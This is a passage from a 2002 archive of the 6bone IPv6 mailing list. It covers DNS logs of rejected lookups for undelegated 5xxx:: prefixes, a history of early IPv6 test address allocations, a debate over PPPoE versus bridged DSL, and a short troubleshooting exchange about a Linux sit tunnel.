> % 26-04-2002 15:50 DynDNSModule UDP[53] 205.177.10.10/2182
> % 7.1.9.4.8.f.4.5.ip6.int not allowed
> % 26-04-2002 15:50 DynDNSModule UDP[53] 199.0.216.222/4070
> % 7.1.9.4.8.f.4.5.ip6.int not allowed
> % 26-04-2002 15:50 DynDNSModule UDP[53] 199.0.216.1/3995
> % 7.1.9.4.8.f.4.5.ip6.int not allowed
> % 26-04-2002 15:50 DynDNSModule UDP[53] 205.177.10.10/2182
> % 7.1.9.4.8.f.4.5.ip6.int not allowed
> % 27-04-2002 03:01 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 03:01 DynDNSModule UDP[53] 195.41.46.72/64037
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 03:01 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 03:06 DynDNSModule UDP[53] 193.88.13.218/53174
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 03:06 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 03:06 DynDNSModule UDP[53] 195.41.46.72/64037
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 04:44 DynDNSModule UDP[53] 193.88.13.218/53174
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 04:44 DynDNSModule UDP[53] 193.88.13.219/58803
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 04:44 DynDNSModule UDP[53] 195.41.46.71/46886
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 04:44 DynDNSModule UDP[53] 195.41.46.71/46886
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 04:44 DynDNSModule UDP[53] 195.41.46.72/64037
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 04:44 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 04:44 DynDNSModule UDP[53] 195.41.46.72/64037
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:38 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 27-04-2002 05:38 DynDNSModule UDP[53] 194.204.159.1/33148
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.71/46886
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.72/64037
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.71/46886
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 193.88.13.218/53174
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.72/64037
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 193.88.13.219/58803
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:49 DynDNSModule UDP[53] 195.41.46.71/46886
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.73/32785
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 193.88.13.218/53174
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 193.88.13.218/53174
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.71/46886
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.71/46886
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.71/46886
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 194.239.134.83/58393
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:50 DynDNSModule UDP[53] 195.41.46.71/46886
> % 2.8.8.c.c.a.f.4.5.ip6.int not allowed
> % 27-04-2002 05:58 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 27-04-2002 05:58 DynDNSModule UDP[53] 194.204.159.1/33148
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 27-04-2002 16:38 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 27-04-2002 16:38 DynDNSModule UDP[53] 194.204.159.1/33148
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 27-04-2002 16:57 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 27-04-2002 16:57 DynDNSModule UDP[53] 194.204.159.1/33148
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 27-04-2002 21:48 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 27-04-2002 21:48 DynDNSModule UDP[53] 194.204.159.1/33148
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 27-04-2002 21:48 DynDNSModule UDP[53] 194.204.159.1/33148
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 06:11 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 06:11 DynDNSModule UDP[53] 194.204.159.1/33148
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 06:11 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 11:12 DynDNSModule UDP[53] 213.179.32.3/32955
> % b.1.9.4.8.f.4.5.ip6.int not allowed
> % 28-04-2002 11:12 DynDNSModule UDP[53] 213.179.32.3/32955
> % b.1.9.4.8.f.4.5.ip6.int not allowed
> % 28-04-2002 13:00 DynDNSModule UDP[53] 217.30.129.149/63624
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 13:00 DynDNSModule UDP[53] 217.30.137.200/48867
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 13:00 DynDNSModule UDP[53] 217.30.129.149/63624
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 13:00 DynDNSModule UDP[53] 217.30.137.200/48867
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 13:02 DynDNSModule UDP[53] 213.77.75.2/32814
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 13:02 DynDNSModule UDP[53] 194.204.152.34/38664
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 13:02 DynDNSModule UDP[53] 217.98.96.2/3856
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 13:02 DynDNSModule UDP[53] 213.77.75.2/32814
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 13:02 DynDNSModule UDP[53] 194.204.152.34/38664
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 13:02 DynDNSModule UDP[53] 217.98.96.2/3856
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 14:15 DynDNSModule UDP[53] 213.186.65.104/53
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 14:15 DynDNSModule UDP[53] 213.216.77.25/1036
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 14:15 DynDNSModule UDP[53] 213.186.65.104/53
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 14:16 DynDNSModule UDP[53] 213.216.77.25/1036
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 14:16 DynDNSModule UDP[53] 213.186.65.104/53
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 14:16 DynDNSModule UDP[53] 213.216.77.25/1036
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 14:16 DynDNSModule UDP[53] 213.186.65.104/53
> % 3.4.e.c.c.6.f.4.5.ip6.int not allowed
> % 28-04-2002 14:18 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 14:18 DynDNSModule UDP[53] 194.204.159.1/33148
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 14:29 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 14:29 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 14:29 DynDNSModule UDP[53] 194.204.159.1/33148
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 16:25 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 16:25 DynDNSModule UDP[53] 194.204.159.1/33148
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 16:39 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 16:39 DynDNSModule UDP[53] 194.204.159.1/33148
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 17:01 DynDNSModule UDP[53] 194.204.152.34/38664
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 28-04-2002 17:01 DynDNSModule UDP[53] 194.204.159.1/33148
> % 5.0.0.c.c.2.f.4.5.ip6.int not allowed
> % 29-04-2002 13:06 DynDNSModule UDP[53] 195.212.29.2/35838
> % 2.0.4.9.c.2.f.4.5.ip6.int not allowed
> % 29-04-2002 13:06 DynDNSModule UDP[53] 195.212.29.2/35838
> % 2.0.4.9.c.2.f.4.5.ip6.int not allowed
> % 29-04-2002 13:12 DynDNSModule UDP[53] 158.43.128.1/53
> % 3.c.3.9.c.2.f.4.5.ip6.int not allowed
> % 29-04-2002 13:12 DynDNSModule UDP[53] 158.43.240.5/53
> % 3.c.3.9.c.2.f.4.5.ip6.int not allowed
> % 29-04-2002 13:24 DynDNSModule UDP[53] 202.139.83.3/53
> % 3.8.8.c.c.2.f.4.5.ip6.int not allowed
> % 29-04-2002 13:24 DynDNSModule UDP[53] 137.92.1.1/53
> % 3.8.8.c.c.2.f.4.5.ip6.int not allowed
> % 29-04-2002 15:23 DynDNSModule UDP[53] 202.139.83.3/53
> % 3.8.8.c.c.2.f.4.5.ip6.int not allowed
> % 29-04-2002 15:23 DynDNSModule UDP[53] 137.92.1.1/53
> % 3.8.8.c.c.2.f.4.5.ip6.int not allowed
> %
> %
> % -joergen hovland
> % WebOnline AS
> %
>
>
> --
> --bill
>


From 6bone-owner  Mon Apr 29 11:26:24 2002
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Date: Mon, 29 Apr 2002 20:25:29 +0200
From: Sascha Bielski <sb@rdns.de>
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Subject: Re[2]: whats the deal with 54fx:: ?
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Dear Bill Manning,

On Monday, 29. April 2002 at 17:59 you wrote:


BM>         hijacked address space?  54f8:: is not delegated.

iirc that was some "old" testbed. still many 5xxx::/16 records in
6bone whois database...

-- 
best regards,
Sascha Bielski                            mailto:sb@rdns.de
rdns.de admin team
xs26.net German Coordination
phone: +49 (0) 174 / 432 93 76
email: sb@rdns.de


From 6bone-owner  Mon Apr 29 12:47:05 2002
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Date: Mon, 29 Apr 2002 09:47:06 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Christian Kuhtz <ck@arch.bellsouth.net>
cc: 6bone@ISI.EDU
Subject: RE: about IPv6 PPPoE 
In-Reply-To: <BGEIJGPNFIOIDOCHJNCAKEHPCDAA.ck@arch.bellsouth.net>
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On Mon, 29 Apr 2002, Christian Kuhtz wrote:

> there's a difference between a user's perspective and service
> provider.  i was stating the service provider side.  bridged dsl is
> grandfathered, being phased out, and all new deployment for the past
> couple of years has been pppoe at the sp i'm most familiar with.  the
> issues are around management and scalability of the service.

Actually we've found that bridged DSL is simpler than PPPOE.  That
simplicity leads to easier scalability because nothing special needs to be
done on the client side for even the less popular OS just to get online.
That's from the user perspective.  The less the user has to do to get
online, the better.  That also leads to lower support costs on the service
provider side.



From 6bone-owner  Mon Apr 29 12:52:06 2002
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From: "Christian Kuhtz" <ck@arch.bellsouth.net>
To: "6bone" <6bone@ISI.EDU>
Subject: RE: about IPv6 PPPoE 
Date: Mon, 29 Apr 2002 15:46:32 -0400
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we really need to take this discussion offline.  please email me
privately if you'd like to continue to discuss this subject.  thanks.


From 6bone-owner  Mon Apr 29 13:48:53 2002
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To: "Christian Kuhtz" <ck@arch.bellsouth.net>
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Subject: Re: about IPv6 PPPoE 
In-reply-to: Your message of "Mon, 29 Apr 2002 12:45:04 EDT."
             <BGEIJGPNFIOIDOCHJNCAKEHPCDAA.ck@arch.bellsouth.net> 
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>>>>> "Christian" == Christian Kuhtz <ck@arch.bellsouth.net> writes:
    Christian> there's a difference between a user's perspective and service
    Christian> provider.  i was stating the service provider side.  bridged dsl is
    Christian> grandfathered, being phased out, and all new deployment for the past
    Christian> couple of years has been pppoe at the sp i'm most familiar with.  the
    Christian> issues are around management and scalability of the service.

  Well, it might be the going concern for residential, but almost no soho/business
installations I'm familliar with will tolerate pppoe.  There just isn't a
point. We do not want the address negotiated, we do not need another password 
that could be divulged, and we *do* want some address space behind the box.

  PPPoE deployment ==> more NAT in my opinion.

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another NetBSD/notebook using, kernel hacking, security guy");  [

From 6bone-owner  Mon Apr 29 14:01:27 2002
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Date: Mon, 29 Apr 2002 23:01:34 +0200
From: Daniel Hirche <daniel@prisec.net>
To: Sascha Bielski <sb@rdns.de>
cc: 6bone@ISI.EDU
Subject: Re: whats the deal with 54fx:: ?
Message-ID: <31505943.1020121294@[172.16.2.2]>
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Sascha,

--On Monday, April 29, 2002 8:25 PM +0200 Sascha Bielski <sb@rdns.de> wrote:

> Dear Bill Manning,
>
> On Monday, 29. April 2002 at 17:59 you wrote:
>
>
> BM>         hijacked address space?  54f8:: is not delegated.
>
> iirc that was some "old" testbed. still many 5xxx::/16 records in
> 6bone whois database...

daniel@noc:~$ whois 54f8::
% RIPEdb(3.0.0b2) with ISI RPSL extensions
% No entries found in 6BONE database.

There may still be some 5xxx:: inet6num objects listed in 6bone-db, but 
they are NOT delegated. That's what Bill said.

Regards,
	--Daniel


From 6bone-owner  Mon Apr 29 15:36:58 2002
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From: "Christian Kuhtz" <ck@arch.bellsouth.net>
To: "Michael Richardson" <mcr@sandelman.ottawa.on.ca>
Cc: <6bone@ISI.EDU>
Subject: RE: about IPv6 PPPoE 
Date: Mon, 29 Apr 2002 18:30:44 -0400
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pppoe and more than one address is not mutually exclusive.

> -----Original Message-----
> From: Michael Richardson [mailto:mcr@sandelman.ottawa.on.ca]
> Sent: Monday, April 29, 2002 4:40 PM
> To: Christian Kuhtz
> Cc: 6bone@ISI.EDU
> Subject: Re: about IPv6 PPPoE
>
>
>
> >>>>> "Christian" == Christian Kuhtz <ck@arch.bellsouth.net> writes:
>     Christian> there's a difference between a user's
> perspective and service
>     Christian> provider.  i was stating the service
> provider side.  bridged dsl is
>     Christian> grandfathered, being phased out, and all new
> deployment for the past
>     Christian> couple of years has been pppoe at the sp i'm
> most familiar with.  the
>     Christian> issues are around management and scalability
> of the service.
>
>   Well, it might be the going concern for residential, but
> almost no soho/business
> installations I'm familliar with will tolerate pppoe.
> There just isn't a
> point. We do not want the address negotiated, we do not
> need another password
> that could be divulged, and we *do* want some address space
> behind the box.
>
>   PPPoE deployment ==> more NAT in my opinion.
>
> ]       ON HUMILITY: to err is human. To moo, bovine.
>     |  firewalls  [
> ]   Michael Richardson, Sandelman Software Works, Ottawa,
> ON    |net architect[
> ] mcr@sandelman.ottawa.on.ca
http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another NetBSD/notebook using, kernel hacking, security
guy");  [


From 6bone-owner  Mon Apr 29 16:01:23 2002
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Date: Tue, 30 Apr 2002 01:01:14 +0200 (CDT)
From: Michael Kjorling <michael@kjorling.com>
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Subject: Re[2]: whats the deal with 54fx:: ?
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Apr 29 2002 20:25 +0200, Sascha Bielski wrote:

> BM>         hijacked address space?  54f8:: is not delegated.
>
> iirc that was some "old" testbed. still many 5xxx::/16 records in
> 6bone whois database...

I seem to recall having read something about that, somewhere - but
it's got to have been a long time ago, because there is no way you can
squeeze 5000::/4 (format prefix %010 == 4000::/3) into the IPv6
globally aggregatable address range (which has a format prefix of
%001, making for 2000::/3 - anyone recognizes that range?)

Of course, it's late at night and I may be way out of whack here.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From 6bone-owner  Mon Apr 29 17:00:43 2002
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Date: Mon, 29 Apr 2002 17:00:28 -0700
To: Michael Kjorling <michael@kjorling.com>, 6bone <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re[2]: whats the deal with 54fx:: ?
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Michael,

At 01:01 AM 4/30/2002 +0200, Michael Kjorling wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>On Apr 29 2002 20:25 +0200, Sascha Bielski wrote:
>
> > BM>         hijacked address space?  54f8:: is not delegated.
> >
> > iirc that was some "old" testbed. still many 5xxx::/16 records in
> > 6bone whois database...
>
>I seem to recall having read something about that, somewhere - but
>it's got to have been a long time ago, because there is no way you can
>squeeze 5000::/4 (format prefix %010 == 4000::/3) into the IPv6
>globally aggregatable address range (which has a format prefix of
>%001, making for 2000::/3 - anyone recognizes that range?)

I'll cover the history here for the record for 5F00::/8 prefixes, but will 
note that 54F8::/16 isn't covered by this history, so Bill is correct in 
saying it is hijacked (even if by accident :-).

The original and now obsolete IPv6 Provider-Based Unicast address format 
was specified in RFC2073:

<ftp://ftp.isi.edu/in-notes/rfc2073.txt>

It specified a 4000::/3 prefix as follows based on the then IPv6 Address 
Architecture in RFC1884 (which even reserved some space for 
Geographic-Based Unicast Addresses :-):

>       | 3 |  5 bits  |   n bits   |   56-n bits  |        64 bits     |
>       +---+----------+------------+--------------+--------------------+
>       |010|RegistryID| ProviderID | SubscriberID |  Intra-Subscriber  |
>       +---+----------+------------+--------------+--------------------+

Then a Testing Address Allocation was made in RFC1897 for the 6bone:

<ftp://ftp.isi.edu/in-notes/rfc1897.txt>

which specified 5F00::/8 as follows:

>    | 3 |  5 bits  |  16 bits | 8 |   24 bits  | 8 | 16 bits|48 bits|
>    +---+----------+----------+---+------------+---+--------+-------+
>    |   |          |Autonomous|   |    IPv4    |   | Subnet | Intf. |
>    |010|  11111   |  System  |RES|   Network  |RES|        |       |
>    |   |          |  Number  |   |   Address  |   | Address|  ID   |
>    +---+----------+----------+---+------------+---+--------+-------+

The Provider-Based Unicast address format was then replaced by the IPv6 
Aggregatable Global Unicast Address Format which is specified in RFC2374:

<ftp://ftp.isi.edu/in-notes/rfc2374.txt>

It specified a format as follows, which is part of the revised IPv6 Address 
Architecture in RFC2373 (and currently being updated as we speak):

>      | 3|  13 | 8 |   24   |   16   |          64 bits               |
>      +--+-----+---+--------+--------+--------------------------------+
>      |FP| TLA |RES|  NLA   |  SLA   |         Interface ID           |
>      |  | ID  |   |  ID    |  ID    |                                |
>      +--+-----+---+--------+--------+--------------------------------+

Then a new IPv6 Testing Address Allocation was made in RFC2471 for the 
6bone (replacing RFC1897):

<ftp://ftp.isi.edu/in-notes/rfc2471.txt>

which specified the well known 3FFE::/16 format.

There was a small amount of activity under the old 5F00::/8 format through 
1998. After that time it was supposed to go away, and mostly has, although 
a tiny bit of these 5F prefixes pop up from time to time.


Hope this at least recovers some history rapidly being forgotten.

Bob


From 6bone-owner  Mon Apr 29 17:14:17 2002
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From: "Bo Byrd" <bo@bbyrd.net>
To: <6bone@ISI.EDU>
Subject: RE: about IPv6 PPPoE 
Date: Mon, 29 Apr 2002 20:14:37 -0400
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Actually most business dsl setups are either at or moving to PPPoA, with
is very similar to PPPoE.  PPPoE uses a DSL modem, and, if wanted, a
broadband router for NAT.

PPPoA is a system where the device at the customer prem is an actual
router, (a DSL Router) that terminates PPP over an ATM pvc that rides
the DSL circuit.  The service provider then routes a subnetwork to that
DSL router.

The router performs the username and password combo to the service
providers equipment.  All the customer sees is the network on the
ethernet side of the router.

PPPoE lets service providers oversubscribe their DSL termination
routers.  If just regular bridged connections were used a router can
only handle so many (8000 for redback sms-1800 routers) of those
circuits.  With PPPoE the service provider can terminate many more
circuits since not everyone is using the system at the same time.  This
greatly recudes the per-user cost of the equipment for the service
provider.  It also works the same as a dialup connection that the user
is already familiar with.  There really arent many problems with PPPoE
at all.  It's very more scalable than bridged RFC1483 operation.

-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
Michael Richardson
Sent: Monday, April 29, 2002 4:40 PM
To: Christian Kuhtz
Cc: 6bone@ISI.EDU
Subject: Re: about IPv6 PPPoE 



>>>>> "Christian" == Christian Kuhtz <ck@arch.bellsouth.net> writes:
    Christian> there's a difference between a user's perspective and
service
    Christian> provider.  i was stating the service provider side.
bridged dsl is
    Christian> grandfathered, being phased out, and all new deployment
for the past
    Christian> couple of years has been pppoe at the sp i'm most
familiar with.  the
    Christian> issues are around management and scalability of the
service.

  Well, it might be the going concern for residential, but almost no
soho/business installations I'm familliar with will tolerate pppoe.
There just isn't a point. We do not want the address negotiated, we do
not need another password 
that could be divulged, and we *do* want some address space behind the
box.

  PPPoE deployment ==> more NAT in my opinion.

]       ON HUMILITY: to err is human. To moo, bovine.           |
firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net
architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device
driver[ ] panic("Just another NetBSD/notebook using, kernel hacking,
security guy");  [




From 6bone-owner  Tue Apr 30 01:59:42 2002
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From: "Christian de Larrinaga" <cdel@firsthand.net>
To: "Bo Byrd" <bo@bbyrd.net>, <6bone@ISI.EDU>
Subject: RE: about IPv6 PPPoE 
Date: Tue, 30 Apr 2002 09:59:35 +0100
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> PPPoE lets service providers oversubscribe their DSL termination
> routers.  If just regular bridged connections were used a router can
> only handle so many (8000 for redback sms-1800 routers) of those
> circuits.  With PPPoE the service provider can terminate many more
> circuits since not everyone is using the system at the same time.  This
> greatly recudes the per-user cost of the equipment for the service
> provider.  It also works the same as a dialup connection that the user
> is already familiar with.  There really arent many problems with PPPoE
> at all.  It's very more scalable than bridged RFC1483 operation.

so this is what is meant by ADSL contention ratio? e.g., BT in UK quote
20:1?
is BT is over subscribing DSL termination routers 20x?

Christian

Christian de Larrinaga


From 6bone-owner  Tue Apr 30 03:03:41 2002
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From: "Tapas Das" <tapas.das@teleweb.net.in>
To: "Jochen Friedrich" <jochen@scram.de>, "nileshks78" <nileshks78@yahoo.com>
Cc: <6bone@ISI.EDU>
Subject: sit0 interface
Date: Tue, 30 Apr 2002 15:34:10 +0530
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This is a multi-part message in MIME format.

------=_NextPart_000_0013_01C1F05C.7921A4B0
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I am getting this error, can somebody pls help me ....


--- Start of configuration script. ---
Script:  linux.sh
sit1 setup
Setting up link to 206.123.31.114
ioctl: No such device                 [here is the error]
Error while executing /sbin/ip
   Command: /sbin/ip tunnel add sit1 mode sit ttl 64 remote 206.123.31.114
Closing, exit status: 0
Exiting with return code : 0 (0 = no error) 



thanx in advance

Tapas Das.




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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE></TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR></HEAD>
<BODY>
<P><FONT size=3D2>I am getting this error, can somebody pls help me=20
....<BR><BR><BR>--- Start of configuration script. ---<BR>Script:&nbsp;=20
linux.sh<BR>sit1 setup<BR>Setting up link to 206.123.31.114<BR>ioctl: No =
such=20
device&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<U><FONT color=3D#800080>[here is the error]</FONT></U><BR>Error while =
executing=20
/sbin/ip<BR>&nbsp;&nbsp; Command: /sbin/ip tunnel add sit1 mode sit ttl =
64=20
remote 206.123.31.114<BR>Closing, exit status: 0<BR>Exiting with return =
code : 0=20
(0 =3D no error)</FONT> </P>
<P><FONT size=3D2></FONT>&nbsp;</P>
<P><FONT size=3D2>thanx in advance</FONT></P>
<P><FONT size=3D2>Tapas Das.</FONT></P>
<P>&nbsp;</P></BODY></HTML>

------=_NextPart_000_0013_01C1F05C.7921A4B0--


From 6bone-owner  Tue Apr 30 04:48:54 2002
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Date: Tue, 30 Apr 2002 13:48:40 +0200 (CEST)
From: Jochen Friedrich <jochen@scram.de>
To: Tapas Das <tapas.das@teleweb.net.in>
cc: nileshks78 <nileshks78@yahoo.com>, <6bone@ISI.EDU>
Subject: Re: sit0 interface
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Hi Tapas Das,

> ioctl: No such device                 [here is the error]
> Error while executing /sbin/ip
>    Command: /sbin/ip tunnel add sit1 mode sit ttl 64 remote 206.123.31.114
> Closing, exit status: 0
> Exiting with return code : 0 (0 = no error)

modprobe ipv6

Cheers,
--jochen


From 6bone-owner  Tue Apr 30 05:23:47 2002
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From: "Bo Byrd" <bo@bbyrd.net>
To: <6bone@ISI.EDU>
Cc: <cdel@firsthand.net>
Subject: RE: about IPv6 PPPoE 
Date: Tue, 30 Apr 2002 08:24:16 -0400
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20:1 seems very extreme.  From what I've seen a subscriber management
system can terminate around 32000 PVC's and can support 8000 active
PVC's, that's 4:1.  Of course for the best interests of the customers
